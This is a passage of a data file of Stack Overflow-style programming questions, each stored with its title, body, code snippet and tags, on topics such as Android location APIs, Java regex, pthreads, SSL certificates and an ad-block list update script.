(TextView)findViewById(R.id.locationText);\n addressButton =
(Button)findViewById(R.id.addressButton);\n\n
this.addressText.setText(\"ready\");\n\n LocationManager locationManager = \n
(LocationManager)this.getSystemService(Context.LOCATION_SERVICE);\n\n
LocationListener locationListener = new LocationListener() {\n public void
onLocationChanged(Location location) {\n updateLocation(location);\n
}\n public void onStatusChanged(\n String provider, int
status, Bundle extras) {}\n public void onProviderEnabled(String provider)
{}\n public void onProviderDisabled(String provider) {}\n };\n\n
locationManager.requestLocationUpdates(\n
LocationManager.NETWORK_PROVIDER, 0, 0, locationListener);\n\n
this.addressButton.setOnClickListener(new OnClickListener() {\n public void
onClick(View v){\n getAddress();\n }\n });\n}\n\nvoid
getAddress(){\n try{\n Geocoder gcd = new Geocoder(this,
Locale.getDefault());\n List<Address> addresses = \n
gcd.getFromLocation(currentLatitude, currentLongitude,100);\n if
(addresses.size() > 0) {\n StringBuilder result = new StringBuilder();\n
for(int i = 0; i < addresses.size(); i++){\n Address address =
addresses.get(i);\n int maxIndex =
address.getMaxAddressLineIndex();\n for (int x = 0; x <= maxIndex;
x++ ){\n result.append(address.getAddressLine(x));\n
result.append(\",\");\n } \n
result.append(address.getLocality());\n result.append(\",\");\n
result.append(address.getPostalCode());\n result.append(\"\\n\\
n\");\n }\n addressText.setText(result.toString());\
n }\n }\n catch(IOException ex){\n
addressText.setText(ex.getMessage().toString());\n }\n}\n\nvoid
updateLocation(Location location){\n currentLocation = location;\n
currentLatitude = currentLocation.getLatitude();\n currentLongitude =
currentLocation.getLongitude();\n locationText.setText(currentLatitude + \", \"
+ currentLongitude);\n}\n\nAdView layout = (AdView)this.findViewById(R.id.adView);\
nAdRequest adRequest = new AdRequest();\nadRequest.setTesting(true);\
nlayout.loadAd(adRequest); \n}\n", "android admob ads"], "6215": ["Regex Java
String Split by Single Asterisk", "Help is needed.\n\nI used this line of code to
split a string into an asterisk mark. However, I got an error from my compiler. It
says, \"INVALID REGULAR EXPRESSION: DANGLING META CHARACTER '*'\"\nHow to resolve
this problem? Thanks in advance.\n", "line.split(\"*\");\n", "java regex string
split"], "3946164": ["Why doesn't google gears geolocation work when I have only
one wifi in range", "I'm developing an application that relies on Google Gears WiFi
Geolocation service, and I've noticed that the api can't get the latitude and
longitude of users when they have only one wifi in range.\nIs there any way of
solving this issue?\nThanks.\n", "", "google geolocation wifi google-gears"],
"3472112": ["Using prototype to set an onclick event of a button?", "I have this
button:\n\nNow I know I can access it using $('check_button') for example. Is there
a way to set the setlocation parameter with Prototype?\nThanks!\n", "<button
id=\"check_button\" name =\"check_button\" type=\"button\"
onclick=\"setLocation('...')\">\n <span>check</span>\n</button>\n", "javascript
button javascript-events onclick prototypejs"], "3258883": ["Image not displaying
in DynamicReports", "I have just downloaded the DynamicReports libraries from
http://dynamicreports.sourceforge.net/index.html. I'm currently using a Servlet
under Tomcat 5.5. \nI have taken two of their sample codes and everything works
fine when report is generated as PDF.\nProblem occurs when the report is generated
as HTML. All image spacers are not getting loaded, therefore getting X in browser.
Again, reports are being viewed using Servlet.\nI checked the html source code and
below are the image paths:\n\nThe data is being displayed properly, only problem
are images.\nAnyone knows is DynamicReports is using an Image Servlet? I could not
find any configuration for this on their website.\nThanks in advance.\n", "<img
alt=\"\" src=\"nullpx\" style=\"width: 60px; height: 1px;\"/>\n", "java jasper-
reports dynamic-reports"], "6219": ["WebView doesn't update the content correctly",
"The problem occurs after navigating some pages and try to go back using
window.history.back(), the screen just doesn't get updated \u2014the last one
loaded remains visible\u2014, but the URL in logs does get updated correctly.\
nInitialPage => SecondPage => ThirdPage [ here the window.history.back() occurs ]\
nThe content of the ThirdPage remains visible, but the logged URL using
WebViewClient's onPageFinished method is correct, that is, the SecondPage's URL
gets logged. As the ThirdPage is still showing, if I do another
window.history.back() \u2014using a button\u2014, it happens again, the ThirdPage
remains in screen, but the InitialPage's URL gets logged this time.\nAny idea of
what could be the problem?\n", "", "android webview webviewclient"], "1741154":
["Vertical-align image", "I have a div that contains an image and a p tag (seen
below). I want to align the image in the middle of the div vertically depending on
how many lines the paragraph is. Vertical-align doesn't work. I am using JavaScript
right now to figure out how much to add to margin-top, but would rather use CSS.
Any ideas?\n\n", "<div>\n <img>\n <p>Multi-line</p>\n</div>\n", "css
vertical-alignment"], "5813162": ["Consuming JSON-data in iOS", "I am confused
about JSON consuming in iOS. I am trying to use .\nI found a tutorial from Ray
Wenderlich discussing working with JSON on iOS5 using dispatch async.\nBut in some
tutorials I found, they were using .\nDon't kick me for I am really a newbie here.\
n", "NSJSONSerialization", "ios json nsurlconnection grand-central-dispatch
nsjsonserialization"], "5202447": ["Singletons: Pros,Cons, Design Concerns", "I
admit it. I am using singletons. I know what you may all say, and frankly, seeing
all these answers on the Internet, saying about the bad aspects of singletons, and
advising against them really made me question my programming practices.\nI have
already read some posts in StackOverflow regarding Singletons, but I post this
question not only to ask about them, but to see some insights about the way I use
them in my programs.\nI feel I must really clarify some things here and ask fore
directions.\nSo lets consider some cases where I use singletons a lot:\n\nTo create
accessors to global variables, like my root view controller, specific and always
existing view controllers, application state, my global managed object context...
stuff like that\nTo create utility classes whose job is to handle data application-
wide. For example, I create a Singleton that will operate my caching database,
which relies on Core Data. Since I need to create caches and other stuff to be put
in the database in different views, it somehow felt better to create a class that
will handle database ins/outs (being careful about thread safety).\nHandling
network sessions. Actually, I use it to keep alive a connection and sending
something like a PINg to a server each XX seconds.\n\nI think that about sums it
up. I would really like opinions from other developers on the matter.\nDo you think
that there are better solutions for these problems above?\nDo you think that there
are always better alternatives to singletons and that they should be avoided?\nIs
it better in terms of multithreading to forget about singletons?\nAny
recommendations and thoughts would be useful, and most welcome.\n", "", "ios cocoa
operating-system singleton"], "4972643": ["How to add and read items to the plist
in iPhone?", "I have the following plist structure.I am really confused about what
to do for writing the items into the plist without overwriting the existing data
and reading them out.\nThe following is how my plist is,Please suggest me an
appropriate coding logic for storing mechanism without overwriting the contents of
it and how can i retrieve it later.\n\nI have two arrays which is populated
dynamically and i have to store the contents of that array into this plist.How can
i achieve this?\nAnybody help me please.\nLooking for a positive response...Thank
you all in advance....\n", "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE
plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\"
\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\
n<dict>\n <key>PlacesID</key>\n <array/>\n <key>PlaceName</key>\n
<array/>\n</dict>\n</plist>\n", "iphone plist"], "944990": ["Raid Enclosures for
running VM's", "I'm looking at getting a Raid Enclosure for running vm's on. I
have noticed that the ones that I have found, only have 1 sata port on the back of
them. I'm going to be running the hard drives in this enclosure in RAID 0. Would
this 1 sata port be a performance bottleneck when running the vm's? I will also be
getting 3 - 4 250gb 7200rpm drives, and running 6 - 8 vm's on the machine. I can't
have an internal setup because the computer only has 1 hard drive bay.\nBasically
I'm going to have a test environment. There will be a Domain Controller server
running AD, DNS, DHCP, and will have a couple user accounts. Then I will have a
Windows Deployment Server, Configuration Manager Server, exchange server, and any
other server to test and learn how to use. Those servers will probably not be
running at the same time unless there is a good reason to do so. Then the rest
will be dummy win7 machines, to verify servers are running and doing what they are
suppose to do. I'm trying to prepare for microsoft certifications and implement
new solutions into my work environment if they work out. \n", "", "hard-drive
virtual-machine external-hard-drive raid"], "444013": ["How do I get rid of the
xmlns=\"\" from the root node of my XML?", "I have a send port with a pipeline with
an XML assembler. All my files that it creates look like this:\n\nHow can I get rid
of that xmlns attribute from the root node?\n", "<?xml version=\"1.0\"
encoding=\"utf-8\"?>\n<Root xmlns=\"http://LMS.OIv2.Sierra.SierraRouteUpdate\">\n
<Orders OrderCode=\"\" SCAC=\"\" CarrierName=\" />\n <Orders OrderCode=\"\"
SCAC=\"\" CarrierName=\"\" />\n</Root>\n", "biztalk"], "2762987": ["Sonatype Nexus
get latest jar-with-dependencies", "Hitting a bit of a roadblock when trying to
download a snapshot jar with dependencies. Normally Nexus' REST API expands
the \"SNAPSHOT\" into the correct date time stamp for you - however if downloading
a jar with dependencies the text follows the date substituted in by . It's not
clear to me how to communicate this unusual name situation to Nexus' REST API - has
anyone encountered/worked around this?\n", "-jar-with-dependencies", "java maven
jar nexus"], "3766936": ["Flipping View transition becomes clunky when using
UIPickerViews with a large number of elements", "I have a very simple app created
with the Utility Application project template on XCode. My MainView has two
UIPickerView components and two buttons. The FlipSideView has another
UIPickerView.\nThe pickers on the main view each have 4 segments and each segment
has 8 rows. The picker on the flip side has just 1 segment with 8 rows. All rows on
all pickers are just text.\nWith just this setup, pressing the button to flip the
view back and forth displays a noticeable delay before the animation actually
starts, and then the animation actually seems to go faster than what it should,
like it's trying to make up for the lost time. \nI removed the pickers in interface
builder and loaded the app on the phone and the animation now seems natural. I also
tried just one picker (the flipside one) and things still seem normal. So my
current theory is that the number of objects involved in the main view is the
cause. The thing is that I don't think it's that many (4 x 8 x 2 = 64), but I could
be completely wrong. This is pretty much my first app so maybe I'm just doing
something grossly wrong, or maybe the phone is has a lot more limited processing
than I thought. \nI am thinking of creating the picker views with
pickerView:viewForRow:forComponent:reusingView: to see if this hopefully performs
better, but I'm not sure if this is just a waste of time.\nAny suggestions?\
nThanks\nRuy\nP.S.: Testing on a 3G phone on 3.1.2\n", "", "iphone uipickerview
transition"], "4135034": ["Why is my Widget not updated after preferences are
set?", "\nPossible Duplicate:\nUsing PreferencesActivity from a widget? \n\nI have
a widget with an associated PreferenceActivity/PreferenceScreen. I would like to
update my widget whenever the user is finished setting the preferences. \nI am
using onBackPressed in my PreferenceActivity, which is being called, but the
widget's onUpdate is not being called. Can anyone shed any light on this please?\n\
n", "public void onBackPressed() {\n if
(CONFIGURE_ACTION.equals(getIntent().getAction())) {\n Intent intent=getIntent();\
n intent.setAction(AppWidgetManager.ACTION_APPWIDGET_UPDATE);\n Bundle
extras=intent.getExtras();\n\n if (extras!=null) {\n int
id=extras.getInt(AppWidgetManager.EXTRA_APPWIDGET_ID,
AppWidgetManager.INVALID_APPWIDGET_ID);\n AppWidgetManager
mgr=AppWidgetManager.getInstance(this);\nRemoteViews views=new
RemoteViews(getPackageName(), R.layout.widget);\n\nmgr.updateAppWidget(id, views);\
n\nIntent result=new Intent();\n\
nresult.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID,
id);\nsetResult(RESULT_OK, result);\nsendBroadcast(new Intent(this,
WidgetProvider.class));\n }\n }\n super.onBackPressed();\n }\n", "android-
widget"], "4728809": ["Run a SharePoint manual start workflow from a timer job", "I
have developed a SharePoint manually-started workflow (WF) that send mail to a
group of persons entered by the user as an initiation parameter before starting
the workflow on an item.\nNow i want to automate the execution of my workflow by
adding a frequency parameter that user choose before starting it like what do
SharePoint when configuring alerts ( daily , weekly , etc...)\nI want to make the
execution of the WF automatically when item is modified. The WF start manually
only the first time. I want to run the WF with the same parameter chosen by the
user first time he started the WF.\nIs it possible to run a manual workflow from a
timer job ? how to save the value of the initiation parameters entered by user
first time he started the WF ?\nAny clue or workaround will be highly appreciated.\
nThanks,\n", "", "workflow sharepoint-foundation timer-jobs"], "3214620": ["can not
save new record to my rails model using mongoid and MongoDB", "Haven't change my
code for some time, and it was working fine. But started yesterday, I found I can't
save my new record to the mongod db via mongoid.\nBackground:\n\nmongo server
version: \ndb version v2.0.5, pdfile version 4.5\nMongoDB shell version: 2.0.5\
nrails models and data size (still in development mode):\n3 models (users: 164K,
relation: 122M, status:370K)\nProblem: Can't save new users records, as showing
here, even it passed the contraints (like I have unique uid, id_str).\n\nRails log
file:\n\nNothing in the mongodb.log file as the operation is so fast\nWhat could be
the reason causing the not-saving issue?\nupdates:\nMy db status in mongo shell:\n\
nos is: 2.6.38-8-generic #42-Ubuntu SMP Mon Apr 11 03:31:24 UTC 2011 x86_64 x86_64
x86_64 GNU/Linux\n", "gem 'rails', '3.2.5'\ngem 'mongo', \"1.6.2\"\
ngem \"mongoid\", \"2.4.7\"\n", "ruby-on-rails mongodb mongoid"], "2419639":
["Oracle: ETL and data conversion", "I have Excel file. It's cell contains number
80035477. After loading it (using private third party application) into Oracle
database 80035477 becomes 8.0035477E7 (column(varchar2)). Why this conversion?
Sorry for not using search because I don't know exact terms in English for this
problem. Not sure if this is called even data conversion (no usable search
results).\nThanks in advance!\n", "", "oracle excel"], "4972642": ["setting a
synthetica look and feel in java", "I'm using Netbeans as the IDE. I want to use .
I added the jar files to library. The following code segment is before the line
inside the constructor.\n\nI'm getting this error while executing:\n\nException in
thread \"AWT-EventQueue-0\" java.lang.NoClassDefFoundError:
sun/swing/plaf/synth/SynthUI.\n\nHelp me to solve this problem. Thanks.\n",
"SyntheticaOrangeMetallicLookAndFeel", "java netbeans look-and-feel synthetica"],
"2361913": ["HTML Intra-document links not working on Android 2.3.4 mobile
browser", "Anchor links aren't working for me from an HTML document to another part
of that same document. This only shows up for me on Android 2.3.4 using the system
browser (Webkit 533.1). \nExample Pastebin is here: http://pastebin.com/k6QsYsaR.
To reproduce, load the page in your Android browser (make it a small, mobile-sized
window). Scroll down to the Back to top link and click on it. It will work. Then
scroll down again and click on it. It does nothing the second time.\nI've tried
various Javascript workarounds, and they do the same thing! Am I missing something
obvious? The same (W3C Validated) code works fine on IE, Firefox, Chrome desktop
browsers. What's the workaround?\n", "", "android html mobile webkit links"],
"65099": ["Problem with PNG images in C#", "Working in Visual Studio 2008. I'm
trying to draw on a PNG image and save that image again.\nI do the following:\n\
nAnd in the constructor:\n\nBuilding the solution gives no errors. When I try to
run it, I get this:\n\nA Graphics object cannot be created\n from an image that
has an indexed\n pixel format.\n\nI don't have much experience with using images
in C#. What does this mean and how can I remedy this?\nEDIT: through debugging,
Visual Studio tells me that the image has a Pixel Format.\nSo if I can't use the
Graphics class, what do I use?\nEDIT2: After reading this, I think it's safe to
assume that I better stick to JPG files when working with GDI+, no?\nEDIT3: my
using-statements:\n\n", "private Image img = Image.FromFile(\"file.png\");\nprivate
Graphics newGraphics;\n", "c# image graphics png"], "5812781": ["Building a JMX
client in a servlet installed on the Deployment Manager", "I'm building a
monitoring application as a servlet running on my websphere 7 ND deployment
manager. The tool uses JMX to query the deployment manager for various data.
Global Security is enabled on the dmgr.\nI'm having problems getting this to work
however. My first attempt was to use the websphere client code:\n\nThis results in
the following exception:\n\nSo, I then tried to do it via RMI, but adding in the
sas.client.properties to the environment, and setting the connectort type in the
code to CONNECTOR_TYPE_RMI. Now though I got a NameNotFoundException out of
CORBA:\n\nTo see if it was an IBM issue, I tried using the standard JMX connector
as well with the same result (substitute AdminClient for JMXConnector in the above
error)\n\nAt this point, in desperation I wrote a wsadmin sccript to run both the
RMI and SOAP methods. To my amazement, this works fine. So my question is, why
does the code not work in a servlet installed on the dmgr ?\nregards,\nTrevor\n",
"String sslProps = \"file:\" + base +\"/properties/ssl.client.props\";\
nSystem.setProperty(\"com.ibm.SSL.ConfigURL\", sslProps);\nString soapProps
= \"file:\" + base +\"/properties/soap.client.props\"; \
nSystem.setProperty(\"com.ibm.SOAP.ConfigURL\", pp);\n\nProperties connectProps =
new Properties();\nconnectProps.setProperty(AdminClient.CONNECTOR_TYPE,
AdminClient.CONNECTOR_TYPE_SOAP);\
nconnectProps.setProperty(AdminClient.CONNECTOR_HOST, dmgrHost);\
nconnectProps.setProperty(AdminClient.CONNECTOR_PORT, soapPort);\
nconnectProps.setProperty(AdminClient.CONNECTOR_SECURITY_ENABLED, \"true\");\
nAdminClient adminClient = AdminClientFactory.createAdminClient(connectProps) ;\n",
"client websphere admin jmx"], "6018841": ["CSS font stack names in multiple
character sets", "E.g. for Korean, the \"Dotum\" font name is also written as \"\
ub3cb\uc6c0\". Is it necessary to use a font stack such as the following:\n\nThis
would presumably account for users who have the Korean-named version installed, but
not the Romanized-name version, and vice-versa.\nIf this is the case,
should \"Dotum\" fall back to \"\ub3cb\uc6c0\" or the other way around?\nEDIT for
clarity:\nIs it necessary to specify both the Korean-named version and the Roman-
named version of a given Korean font in a font-stack? Follow up: Which version is
more common?\n", "body {\n font-family: \"\ub3cb\uc6c0\", \"Dotum\", sans-serif;\
n}\n", "css character-encoding fonts multilanguage"], "2151673": ["Segmentation
fault after the call of pthread_join()", "I have written the following code using
the POSIX pthread library: \n\nOn executing the code I got the following output:\n\
nMain Thread ID: 0xb7880b30\nNew Thread ID: 0xb787eb70\nI am going off\
nSegmentation fault\n\nAs I studied, the thread(pid2) calling the pthread_join will
block until the thread passed in argument(pid1) calls pthread_exit(). And
pthread_exit() is used to stop the execution of a particular thread letting all
others to keep on executing. \nI want to know why I got Segmentation Fault at last.
\nPlease explain me properly.\n", "#include<stdio.h>\n#include<stdlib.h>\
n#include<pthread.h>\n\npthread_t pid1,pid2;\n\nvoid *test(void *arg)\n{\nvoid
**end;\nprintf(\"\\nNew Thread ID: 0x%x\\n\",(unsigned int)pid2);\
npthread_join(pid1,end);\nprintf(\"\\nNew Thread going to go off\\n\");\
nprintf(\"\\nNew Thread ID: 0x%x\\n\",(unsigned int)pid2);\nreturn ((void *)NULL);\
n} \n\nint main()\n{\npid1 = pthread_self();\
npthread_create(&pid2,NULL,test,NULL);\nprintf(\"\\nMain Thread ID: 0x%x\\n\",
(unsigned int)pid1);\nsleep(2);\nprintf(\"\\nI am going off\\n\");\
npthread_exit(0);\n}\n", "c pthreads system-programming"], "595504": ["SoapHandler
not called after WS operation is executed", "I have a servlet that also consumes
SOAP WS (in doGet). I want to see SOAP envelope (or anything else in soap message).
I adddd this code to my servlet class:\n\nI a separate class, i have my
TestHandler:\n\n}\n\n}\n\n} \n\n}\nNothing is printed out when i make WS
request. I don't even know if handler is called. \nHow to see printouts defined in
Handler? \n", "class ClientHandlerResolver implements HandlerResolver {\n public
List<Handler> getHandlerChain(PortInfo port_info) {\n List<Handler> hchain =
new ArrayList<Handler>();\n hchain.add(new TestHandler()); // soap handler
defined in TestHandler.java dumps messages to stdout\n return hchain;\
n }\n}\n", "java web-services servlets soaphandler"], "3900772": ["Add PDF page
in iOS", "I have an algorithm to create a PDF file, but I want just to add one pdf
page at the end of existing pdf. Do any one has idea about that?\n", "", "ios pdf-
generation cgcontext cgcontextdrawimage"], "83283": ["SSL certificate
install ... .pfx, .cer and .txt files?", "While I know nothing about SSL or
installing SSL Certificates, I'm sure one of the many results Google will give me
for CentOS, SSL certs and Apache would help.\nHowever, the certificate files which
have been provided for this project are a .pfx file, .cer (the certificate) file
and a .txt (apparently a certificate request) file, none of which are mentioned
in the articles I'm finding.. they all talk of .crt and .key files.\nIs there a
particular way I should be converting these files, presumably via openssl, into
something I can use in Apache?\n", "", "apache ssl openssl ssl-certificate"],
"3302942": ["Deadlocked when allocating an std::string", "I have an application
with several threads running. I have 2 threads that seem deadlocked when trying to
allocate an std::string. Inspecting the backtrace of both threads suggest that at
some point one has tried to allocate an std::string, and got a bad_alloc exception.
In its catch block, another string is created in an attempt to write a call stack
to some log file. At the same time, the other thread is also trying to allocate an
std::string and then the whole process gets stuck.\nHere are the relevant parts of
the 2 deadlocked threads:\n\nAt #14 you see bad_alloc wrapped in my own exception
class being caught and then another string being created.\nAt #15 you see my own
operator new which simply calls std::malloc, checks its return and throws
bad_allocation_t when NULL\nAnd the other thread:\n\nCan anyone provide any more
insight than what I've gathered so far?\n", "#0 0x004cf7a2 in _dl_sysinfo_int80 ()
from /lib/ld-linux.so.2\n#1 0x034ba3de in __lll_mutex_lock_wait () from
/lib/tls/libpthread.so.0\n#2 0x034b700b in _L_mutex_lock_35 () from
/lib/tls/libpthread.so.0\n#3 0x004e5fd4 in ?? () from /lib/ld-linux.so.2\n#4
0x07c9f9bc in ?? () from /.../libstdc++.so.5\n#5 0x00000037 in ?? ()\n#6
0x07ca1714 in std::__default_alloc_template<true, 0>::_S_free_list () from
/.../libstdc++.so.5\n#7 0x9b2223a8 in ?? ()\n#8 0x07c6ab7e in
std::__default_alloc_template<true, 0>::allocate () from /.../libstdc++.so.5\n#9
0x07c6ab7e in std::__default_alloc_template<true, 0>::allocate () from
/.../libstdc++.so.5\n#10 0x07c70b68 in std::string::_Rep::_S_create () from
/.../libstdc++.so.5\n#11 0x081c5ec0 in std::string::_S_construct<char*> ()\n#12
0x081c33a2 in std::basic_string<char, std::char_traits<char>, std::allocator<char>
>::basic_string<char*> ()\n#13 0x081c296e in std::basic_stringbuf<char,
std::char_traits<char>, std::allocator<char> >::str ()\n#14 0x02af7d7a in
os::bad_allocation_t::bad_allocation_t () from /.../libmylib.so \n#15 0x02af84a9 in
operator new () from /.../libmylib.so \n#16 0x07c6b0f1 in
std::__default_alloc_template<true, 0>::_S_chunk_alloc () from /.../libstdc++.so.5\
n#17 0x07c6affd in std::__default_alloc_template<true, 0>::_S_refill () from
/.../libstdc++.so.5\n#18 0x07c6ab6c in std::__default_alloc_template<true,
0>::allocate () from /.../libstdc++.so.5\n#19 0x07c78b2f in
std::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>
>::_Rep::_S_create () from /.../libstdc++.so.5\n#20 0x07c78c59 in
std::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>
>::_Rep::_M_clone () from /.../libstdc++.so.5\n#21 0x07c76996 in
std::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>
>::reserve () from /.../libstdc++.so.5\n#22 0x07c76cff in
std::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>
>::append () from /.../libstdc++.so.5\n", "c++ linux multithreading stl deadlock"],
"4988368": ["How secure are wireless networks?", "If I'm on an open wireless
network, can a 3rd party capture packets and see all the internet traffic to and
from my computer? What if WPA encryption is used, but someone has the key already?
If I use HTTPS, can someone with direct access to the router decrypt the traffic
and view it somehow?\n", "", "security https encryption wifi"], "3616428":
["Android gallery animated views invalidate", "I got this very weird problem...and
it's very important to my...dead line is close...and im losing days of work on this
bug.\nI have gallery widget, in it i have images, and selected one is little bigger
then other. I've done that with .xml scale animation.\nWhen I click button to add
another picture in it, the last selected image, but original size of it(not scaled)
stays on plays where new selected item is, but somehow about it.\nLike a ghost
effect. I'm trying to invalidate the whole gallery, the item that is selected when
i'm adding new element, after adding new element, it doesn't go away...\nPlease
help, I'm desperate about this!\n", "", "android animation gallery selection"],
"2257670": ["How to edit two pages in word from different page number side by
side?", "How to edit two pages in word from different page number side by side?\
nSay I am copying selective data from page number 1 to page number 100 . Instead of
scrolling back and forth can I see them side by side.\n\nUsing Office 2002 .Could
not find tag for 2002 office.\n", "", "ms-word ms-office"], "445847": ["How to set
up linux watchdog daemon with Intel 6300esb", "I've been searching for this on
Google for sometime now and I have yet to find proper documentation on how to
connect the kernel driver for my 6300esb watchdog timer to /dev/watchdog and ensure
that watchdog daemon is keeping it alive.\nI am using RHEL compatible Scientific
Linux 6.3 in a KVM virtual machine by the way\nBelow is everything I've tried so
far:\n\n|\n\n|\n/etc/watchdog.conf\n\nNow maybe I'm not testing it correctly, but I
would expecting that stopping the watchdog service would cause the /dev/watchdog to
time out after 30 seconds and I should see the host reboot, however this does not
happen.\nAlso, here is my config for the KVM vm\n\nAny help is appreciated as the
most I've found are patches to kvm and general softdog documentation or IPMI
watchdog answers.\n", "dmesg|grep 6300\ni6300ESB timer: Intel 6300ESB WatchDog
Timer Driver v0.04\ni6300ESB timer: initialized (0xffffc900008b8000). heartbeat=30
sec (nowayout=0)\n", "kvm-virtualization watchdog"], "3461432": ["How does jQuery
UI's tabs demo hide the dotted focus box?", "If you go to the jQuery UI tabs demo,
when you click on one or another tab, the styles change appropriately, and in
particular, you don't get the annoying dotted line focus box that wrecks the look
of the tab header.\nHowever, that functionality doesn't seem to be included in the
Javascript or CSS for the tabs. The annoying focus box appears on the page I'm
developing, and I'm not the only one; it also appears on a sample vertical tabs
demo that another question linked to.\nI've looked through both the code given on
the demo page and that page's full source code, its CSS page and the current
version of the jQuery UI tabs code and can't work out how it's doing that.\nMy best
guess is that it's somehow done by fiddling with the size of one of the box
properties of the <li> or <a> elements in the tab headers, but I'm really not
seeing it.\nIf you know how it's done, how clearly can you explain it, please?\
nETA: Prompted by a couple of questions, I just checked further and it only seems
to be happening in Firefox 8.0.1 (and earlier? Hard to say.) - no other browsers
seem to show the focus box on that site; does that mean it's a (since-fixed)
Firefox bug? Even so, that doesn't really explain why it's happening on one page
and not another.\nETA (2): I genuinely appreciate people's suggestions on how I
would/should do it, but I should clarify that that's not what I'm asking. I've read
elsewhere (mostly in other questions here) about ways to get rid of that box, and
am familiar with the ones I've seen so far (again, without being less appreciative
of the effort and thought). What I'm interested in is how it's being done in the
jQuery UI tabs demo specifically, because - as far as I can find - it's not doing
any of those things.\n", "", "jquery user-interface jquery-ui-tabs"], "1964224":
["Complete Adblock in Google Chrome", "I use a Mac and I want to completely block
ads on my Google Chrome browser. What I mean by completely is that I don't want the
ads to be just hidden. I understand that Google Chrome adblock addons currently
hide ads, but can't prevent them from downloading. Is there a work around to this
problem?\nAlso, I use Firefox as my primary browser and I am on a proxy server on a
Local network. \n[DMA: Additional info taken from anwer that should of been edit]\
nI am having trouble running the shell script. This is the code that I have\n\nI
get the error\nMacbook:bfilter CALVIN$
./bfilterUpdateLists.sh\n./bfilterUpdateLists.sh: line 14: /Volumes/Sites/Mac: No
such file or directory\n",
"#!/bin/bash\n#\nEASYLIST_URL=\"http://easylist.adblockplus.org/adblock_rick752.txt
\"\n\nTEMP_FILE=\"/Volumes/Sites/MacDownloads/bfilter/bfilterList.tmp\"\
nLOCAL_LIST_FILE=\"/Volumes/Sites/MacDownloads/bfilter/urls.local.save\"\
nOUTPUT_FILE=\"/Volumes/Sites/MacDownloads/bfilter/urls.local\"\n\nWGET=\"/usr/
local/bin/wget\"\nCAT=\"/bin/cat\"\nCONVERTER=\"/Volumes/Sites/MacDownloads/
bfilter/adblock2bfilter.pl\"\nBFILTER=\"/Volumes/Sites/MacDownloads/bfilter\"\n\n$
{WGET} -q -O - ${EASYLIST_URL} | ${CONVERTER} >${TEMP_FILE}\nif [ -s $
{TEMP_FILE} ]; then\n echo \"Updating BFilter URLs:\"\n if [ -f $
{LOCAL_LIST_FILE} ]; then\n ${CAT} ${TEMP_FILE} ${LOCAL_LIST_FILE} >$
{OUTPUT_FILE}\n rm ${TEMP_FILE}\n else\n mv ${TEMP_FILE} $
{OUTPUT_FILE}\n fi\n\n chmod 640 ${OUTPUT_FILE}\n ${BFILTER} restart\n
echo \"\"\nfi\n", "osx google-chrome browser-addons software-rec adblock"],
"4714994": ["Automatic line break for writing context-free grammars?", "I am
currently writing context-free grammars in Latex, I have one production in each
line, e.g.\n\nCurrently I am using the math mode for this and a manual line break.
Is there a better environment for my case? One where I e.g. don't need manual line
breaks? Thanks :-)\n", "S -> a | B\nB -> C\nC -> D | d\n", "math-mode line-breaking
grammar"], "2737449": ["http://localhost:8080/ points to firefox installation
directory C:\\Program Files\\Mozilla Firefox", "When I type http://localhost:8080/
in any of my windows browser ,
I see all the files listed in C:\\Program Files\\Mozilla Firefox which is my
Firefox installation directory. I am not sure which http server is it as I have not
installed any webserver myself.\nI want to know which http server is running? any
suggestion how to detect it ?\n", "", "http firefox server webserver localhost"],
"4098663": ["Change separator between caption label and number", "I've tried to
accomplish this for some time with the caption package, but with no result. What I
want to do is change the following:\nFigure 1: text\ninto\nFigure-1: text\nI.e.
replace the space with a dash.\n", "", "formatting numbering captions"], "661981":
["How can I uninstall Call Recorder for Skype if I don't know the location of the
uninstaller?", "Someone has already asked this: How can I uninstall call recorder
for Skype? and the answer is to use the disk image uninstaller. The same (terse)
advice is given in the official Call Recorder FAQ. \nHowever, I don't know how to
find Call Recorder's disk image uninstaller. A search in Finder across my whole
computer for \"Call Recorder\" finds nothing, and it isn't in my Applications
directory either. \nHow can I get rid of this software? It has now killed Skype
completely - unless I can uninstall it I can't use Skype at all. \n", "", "osx
skype uninstall"], "5271111": ["Dual CPU Socket Motherboard for AMD Phenom II X4",
"I have my eyes on the AMD Phenom II X4 955 Black Edition Deneb 3.2GHz at NewEgg. I
want to build me an 8 core machine. Is there any motherboards out there that will
take 2 of these AMD beasts? The best thing I can find so far is this, which has
only one socket... Thanks in advance for any tips.\n", "", "cpu motherboard amd-
phenom"], "648015": ["Render a view of another controller", "What I want to do is
have 2 different controllers, client and test_client. The client controller is
already built and I want to create a test_client controller that i can use to play
around with the UI of the client and adjust it as needed. I am mainly trying to
get around the validation i have built into the client and its dependence on an
admin controller that loads the data.\nso i want the test_client controller to load
a sample data set and then render the client controller's index view so i can
adjust the clients UI. That is all.\nI tried this in the test_clients index
method:\n\nbut i get an error because it cannot find the client partials as it is
looking in the current controllers view for them...\nSo I have looked into this
already and most people say that you should never make such a call but i think that
this case is a reasonable usage...I just need to figure out how to get it to work.\
n", "class TestClient\n def index\n render :template => 'client/index'\n
end\nend\n", "ruby-on-rails ruby"], "5630368": ["Workflow for taking a percentage
of a payment (PayPal)", "I'm implementing a business model where the service takes
10% of a fee. For example, the user lists a product for $100. The buyer purchases
it. $90 goes to the seller, $10 is collected by the site.\nDoes anyone know
offhand if this is feasible with Paypal. In theory all the money could go into our
PayPal account and then a $90 payment could be made behind the scenes to the
seller's account. Is it possible to programatically schedule a depsoit?\nWe also
have the option of using a merchant gateway like Authorize.\nIdeas appreciated.
Thanks\n", "", "e-commerce paypal"], "469777": ["CVS pserver authentication not
doing system authentication", "I have setup a CVS server to use pserver
authentcation on an Ubuntu box. But CVS fails to authenticate users against system
authentication. \nIf I add user to CVSROOT/passwd file, CVS is able to
